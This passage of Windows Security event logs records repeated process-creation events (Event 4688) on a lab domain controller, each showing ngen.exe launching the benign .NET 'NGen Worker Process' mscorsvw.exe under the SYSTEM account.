Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 420 -Pipe 460 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254394 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 460 -InterruptEvent 0 -NGENProcess 474 -Pipe 44c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254393 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf7c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 44c -InterruptEvent 0 -NGENProcess 460 -Pipe 458 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254392 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 458 -InterruptEvent 0 -NGENProcess 44c -Pipe 454 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254408 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 488 -InterruptEvent 0 -NGENProcess 434 -Pipe 49c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254407 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4ac -InterruptEvent 0 -NGENProcess 49c -Pipe 48c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254406 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 48c -InterruptEvent 0 -NGENProcess 4ac -Pipe 494 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254405 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 494 -InterruptEvent 0 -NGENProcess 48c -Pipe 468 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254404 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 468 -InterruptEvent 0 -NGENProcess 494 -Pipe 4a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254403 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4a4 -InterruptEvent 0 -NGENProcess 468 -Pipe 450 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254402 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1018 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 450 -Pipe 420 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254401 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 420 -InterruptEvent 0 -NGENProcess 434 -Pipe 2c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254400 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x298 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 420 -Pipe 480 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254399 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 470 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254398 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 470 -InterruptEvent 0 -NGENProcess 480 -Pipe 444 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254413 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 47c -Pipe 434 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254412 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 42c -Pipe 440 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254411 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c0 -InterruptEvent 0 -NGENProcess 440 -Pipe 490 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254410 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 490 -Pipe 4a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 